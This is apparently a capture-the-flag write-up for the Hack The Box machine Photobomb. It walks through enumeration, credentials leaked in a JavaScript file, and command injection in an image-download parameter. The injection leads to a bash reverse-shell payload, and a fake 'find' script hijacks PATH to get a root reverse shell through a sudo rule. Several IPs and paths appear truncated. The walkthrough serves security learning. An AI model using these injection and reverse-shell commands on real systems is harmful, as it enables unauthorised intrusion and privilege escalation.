Photobomb Writeup

11 February 2023 #CTF #HTB #box #easy #linux

photobomb info


Do NOT hesitate to nmap this box:

$ sudo nmap -n -p- -T4 -oN enum/fulltcp.nmap
22/tcp open  ssh
80/tcp open  http
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -n -p $ports -sCV -oN enum/scripts-tcp.nmap
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


We can use the ssh banner retrieved by nmap to identify quite accurately what version of Ubuntu is running on this box.

We'll throw the banner in our search engine and append 'launchpad' because this is where Ubuntu packages are hosted: we get this page.

We learn that it is Ubuntu Focal (20.04) and that the package was published on 11/05/2022.

This might be useful for us later on if we want to try a kernel exploit or something along those lines.


After adding photobomb.htb to our /etc/hosts file (as nmap told us) we can view the page:

index page

If we go to a page that doesn't exist we get this error page:

404 page

This reveals that it is using the Sinatra ruby web framework (kind of like Flask). Nothing comes up with searchsploit.

We have a domain so let's try bruteforcing subdomains:

$ ffuf -u http://photobomb.htb/ -H 'Host: FUZZ.photobomb.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 154

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3

 :: Method           : GET
 :: URL              : http://photobomb.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.photobomb.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 154

:: Progress: [4989/4989] :: Job [1/1] :: 423 req/sec :: Duration: [0:00:12] :: Errors: 0 ::

Run it first to get the size you want to filter and then add the -fs flag.

Maybe we'll have more luck with directory bruteforcing:

$ gobuster dir -u http://photobomb.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/80-root.photobomb.htb.dir
/.                    (Status: 200) [Size: 843]
/printer              (Status: 401) [Size: 188]
/printerfriendly      (Status: 401) [Size: 188]
/printers             (Status: 401) [Size: 188]
/printer_friendly     (Status: 401) [Size: 188]
/printer-friendly     (Status: 401) [Size: 188]
/printerFriendly      (Status: 401) [Size: 188]

It seems that every url that starts with printer is redirected to /printer.

Well, let's look at this page since it's the only one we found:

printer page asks for cred

It asks us for HTTP Basic Auth... Common creds like admin:admin or admin:password didn't work.

Going back to the index page, we can use the developer tools to see what is being requested. In Firefox: ctrl+shift+e to open the network tab and then ctrl+shift+r to do a full refresh (clear the cache):

network developer tools

There is this photobomb.js fille which is definitely not a standard javascript library so it's worth taking a look:

view javascript file

Nice, we have some creds, let's login to /printer:

/printer page

We can click on an image and download it to the format we choose.


Let's take a look at the request in Burp:

post request to /printer

After playing a bit with the different parameters, we come across an interesting error message by adding a ';' to filetype:

error with semicolon

Let's confirm the command injection vulnerability by trying to ping ourselves:

Firstly, setup tcpdump to listen for ICMP (ping) packets:

$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

Then send the ping:

ping command

After a few seconds we catch something with tcpdump:

16:50:21.342978 IP photobomb.htb > ICMP echo request, id 2, seq 1, length 64
16:50:21.343097 IP > photobomb.htb: ICMP echo reply, id 2, seq 1, length 64

Cool, this confirms we have code execute on the box. Now get a reverse shell with:

jpg;bash -c 'bash -i >%26 /dev/tcp/ 0>%261'

We have to URL encode the '&' because it would mess our request up.


First things first: check sudo rules:

wizard@photobomb:~/photobomb/source_images$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/

We can run the /opt/ script as root without password. There is also this SETENV which sounds interesting.

From man sudoers:

If SETENV has been set for a command, the user may disable the env_reset flag from the command line via the -E option. Additionally, environment variables set on the command line are not subject to the restrictions imposed by env_check, env_delete, or env_keep. As such, only trusted users should be allowed to set variables in this manner.

Here is the script in question:

. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Notice that, for the last command, find is called without an absolute path, giving us the oportunity to hijack it.

Let's create a new find that will send us a reverse shell:


bash -i >& /dev/tcp/ 0>&1

Then add the directory where our new find command is located (/home/wizard in my case) to the PATH environment variable:

wizard@photobomb:~$ chmod +x find
wizard@photobomb:~$ which find
wizard@photobomb:~$ export PATH=/home/wizard:$PATH
wizard@photobomb:~$ which find

By adding this directory to the beginnning of the PATH variable, we make sure that our script is executed, instead of the real find.

Then, it is just a matter of executing the /opt/ script with the right flag:

wizard@photobomb:~$ sudo --preserve-env=PATH /opt/

And boom, we get another reverse shell as root!

At first I tried the -E flag but it did not seem to keep the PATH that I defined.

Key Takeaways